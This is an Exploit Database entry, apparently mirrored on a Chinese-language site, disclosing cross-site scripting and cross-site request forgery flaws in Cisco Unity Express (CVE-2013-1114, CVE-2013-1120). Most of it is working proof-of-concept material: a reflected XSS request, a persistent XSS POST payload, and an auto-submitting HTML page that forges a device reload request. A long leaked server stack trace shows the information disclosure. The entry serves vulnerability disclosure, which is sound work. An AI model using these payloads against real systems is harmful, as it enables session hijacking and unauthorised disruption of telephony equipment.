Cisco Unity Express – Multiple Vulnerabilities

• Exploit Database
• 129 阅读

• 作者： Jacob Holcomb
  日期： 2013-02-05
• 类别：

  • webapps
  平台：

  • jsp
• 来源：https://www.exploit-db.com/exploits/24449/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158

  # Exploit Title: Cisco Unity Express Multiple Vulnerabilities # Reported: December 2012 # Disclosed: February 2013 # Author: Jacob Holcomb of Independent Security Evaluators # CVE: XSS - CVE-2013-1114 and CSRF - CVE-2013-1120 # http://infosec42.blogspot.com/2013/02/cisco-unity-express-vulnerabilites.html   Cisco Advisory http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1114 http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-1120   Proof of Concept XSS - CVE-2013-1114: GET: Reflective XSS & Info disclosure http://X.X.X.X/Web/SA2/ScriptList.do?gui_pagenotableData=><script>alert(42)</script>   Information Disclosure Location: /Web/WEB-INF/screens/main.jsp Error Location: /Web/WEB-INF/screens/prompts/ListScripts.jsp Internal Servlet Error:   javax.servlet.ServletException: invalid character at position 1 in > org.apache.jasper.runtime.PageContextImpl.handlePageException (Unknown Source) WEB_0002dINF.screens.prompts.ListScripts._jspService (ListScripts.java:2245) org.apache.jasper.runtime.HttpJspBase.service (Unknown Source) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.doInclude (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.access$000 (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source) org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source) java.security.AccessController.doPrivileged (AccessController.java:273) org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.include (Unknown Source) org.apache.jasper.runtime.PageContextImpl.include (Unknown Source) WEB_0002dINF.screens.main._jspService (main.java:396) org.apache.jasper.runtime.HttpJspBase.service (Unknown Source) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.doForward (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.access$100 (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source) org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source) java.security.AccessController.doPrivileged (AccessController.java:273) org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.forward (Unknown Source) org.apache.struts.action.ActionServlet.processActionForward (ActionServlet.java:1759) org.apache.struts.action.ActionServlet.process (ActionServlet.java:1596) com.cisco.aesop.vmgui.framework.WebController.process (WebController.java:157) org.apache.struts.action.ActionServlet.doGet (ActionServlet.java:492) javax.servlet.http.HttpServlet.service (HttpServlet.java) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.core.ContextManager.internalService (Unknown Source) org.apache.tomcat.core.ContextManager.service (Unknown Source) org.apache.tomcat.modules.server.Http10Interceptor.processConnection (Unknown Source) org.apache.tomcat.util.net.TcpWorkerThread.runIt (Unknown Source) org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run (Unknown Source) java.lang.Thread.run (Thread.java:777)   Root cause: java.lang.NumberFormatException: invalid character at position 1 in > java.lang.Throwable. (Throwable.java:166) java.lang.Integer.parseInt (Integer.java:775) java.lang.Integer.parseInt (Integer.java:262) com.cisco.aesop.gui.taglibs.PagingTableTag.doAfterBody (PagingTableTag.java:274) WEB_0002dINF.screens.prompts.ListScripts._jspService (ListScripts.java:1903) org.apache.jasper.runtime.HttpJspBase.service (Unknown Source) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.doInclude (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.access$000 (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source) org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source) java.security.AccessController.doPrivileged (AccessController.java:273) org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.include (Unknown Source) org.apache.jasper.runtime.PageContextImpl.include (Unknown Source) WEB_0002dINF.screens.main._jspService (main.java:396) org.apache.jasper.runtime.HttpJspBase.service (Unknown Source) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.doForward (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.access$100 (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl$RDIAction.run (Unknown Source) org.apache.tomcat.util.compat.Jdk12Support$PrivilegedProxy.run (Unknown Source) java.security.AccessController.doPrivileged (AccessController.java:273) org.apache.tomcat.util.compat.Jdk12Support.doPrivileged (Unknown Source) org.apache.tomcat.facade.RequestDispatcherImpl.forward (Unknown Source) org.apache.struts.action.ActionServlet.processActionForward (ActionServlet.java:1759) org.apache.struts.action.ActionServlet.process (ActionServlet.java:1596) com.cisco.aesop.vmgui.framework.WebController.process (WebController.java:157) org.apache.struts.action.ActionServlet.doGet (ActionServlet.java:492) javax.servlet.http.HttpServlet.service (HttpServlet.java) javax.servlet.http.HttpServlet.service (HttpServlet.java) org.apache.tomcat.facade.ServletHandler.doService (Unknown Source) org.apache.tomcat.core.Handler.invoke (Unknown Source) org.apache.tomcat.core.Handler.service (Unknown Source) org.apache.tomcat.facade.ServletHandler.service (Unknown Source) org.apache.tomcat.core.ContextManager.internalService (Unknown Source) org.apache.tomcat.core.ContextManager.service (Unknown Source) org.apache.tomcat.modules.server.Http10Interceptor.processConnection (Unknown Source) org.apache.tomcat.util.net.TcpWorkerThread.runIt (Unknown Source) org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run (Unknown Source) java.lang.Thread.run (Thread.java:777)       POST: Persistent XSS http://X.X.X.X/Web/SA3/AddHoliday.do POST Data: holiday.description=><script>alert(42)</script>&submitType=ADD     CSRF - CVE-2013-1120:   <html> <!-- # Exploit Title: Cisco Unity Express CSRF # Date: Discovered and reported December 2012 # Disclosed: February 2013 # Author: Jacob Holcomb of Independent Security Evaluators # Software: Cisco Unity Express # CVE : CVE-2013-1120 for the CSRF # Note: All the HTML forms are susceptible to forgery -->   <head> <title>Reload Cisco Unity Express CSRF</title> </head>   <body>   <form name="CUEreload" action="http://X.X.X.X/Web/SA/SaveConfiguration.do" method="post"> <input type="hidden" name="submitType" value="RELOAD"/> </form>   <script> document.CUEreload.submit(); </script>   </body> </html>